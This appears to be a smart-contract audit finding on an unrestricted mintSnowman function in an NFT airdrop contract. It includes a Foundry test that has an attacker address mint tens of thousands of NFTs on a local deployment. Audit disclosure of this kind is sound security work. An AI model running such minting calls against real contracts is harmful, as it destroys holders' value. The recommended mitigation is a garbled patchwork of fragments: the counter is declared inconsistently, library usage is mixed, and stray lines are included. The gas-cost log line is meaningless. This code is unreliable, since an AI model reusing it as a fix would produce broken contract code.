Description
The mintSnowman
function has no access controls, allowing any external address to mint arbitrary quantities of NFTs to any recipient. This violates the protocol's design where Snowman NFTs should only be minted as rewards for staking Snow tokens via the SnowmanAirdrop
contract.
Impact:
-
Infinite NFT Supply: Anyone can mint unlimited NFTs, destroying scarcity
-
Economic Collapse: Renders NFTs worthless (0 market value)
-
Gas Griefing Attack: Malicious actors can mint NFTs to victims' wallets
-
Protocol Integrity Failure: Breaches core tokenomics (NFTs should represent staked value)
Risk
Likelihood:
• Exploitable by any Ethereum address
• No financial cost to attack
Impact:
• Permanent destruction of NFT value
• Protocol tokenomics rendered useless
Proof of Concept
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/Snowman.sol";
contract SnowmanTest is Test {
Snowman snowman;
address deployer = makeAddr("deployer");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
vm.prank(deployer);
snowman = new Snowman("ipfs://Qm...");
}
function testUnrestrictedMintingAttack() public {
uint256 initialSupply = snowman.getTokenCounter();
vm.prank(attacker);
snowman.mintSnowman(victim, 10_000);
assertEq(snowman.balanceOf(victim), 10_000);
vm.prank(attacker);
snowman.mintSnowman(attacker, 50_000);
uint256 finalSupply = snowman.getTokenCounter();
assertEq(finalSupply, initialSupply + 60_000);
console.log("[+] Initial NFT supply: ", initialSupply);
console.log("[+] Victim balance: ", snowman.balanceOf(victim));
console.log("[+] Attacker balance: ", snowman.balanceOf(attacker));
console.log("[+] Final NFT supply: ", finalSupply);
console.log("[+] Attack cost: ", tx.gasprice * (gasleft() + 50000), "wei");
}
}
Recommended Mitigation
modifier onlyMinter() {
if (msg.sender != s_airdropContract) revert SM__NotAllowed();
_;
}
function mintSnowman(address receiver, uint256 amount) external onlyMinter {
require(amount <= 100, "Exceeds batch limit");
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
constructor(string memory _SnowmanSvgUri, address airdropContract)
ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender)
{
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
s_airdropContract = airdropContract;
}
using Counters for Counters.Counter;
Counters.Counter private s_TokenCounter;
uint256 tokenId = s_TokenCounter.current();
s_TokenCounter.increment();
Fix:
require(receiver != address(0), "Invalid receiver");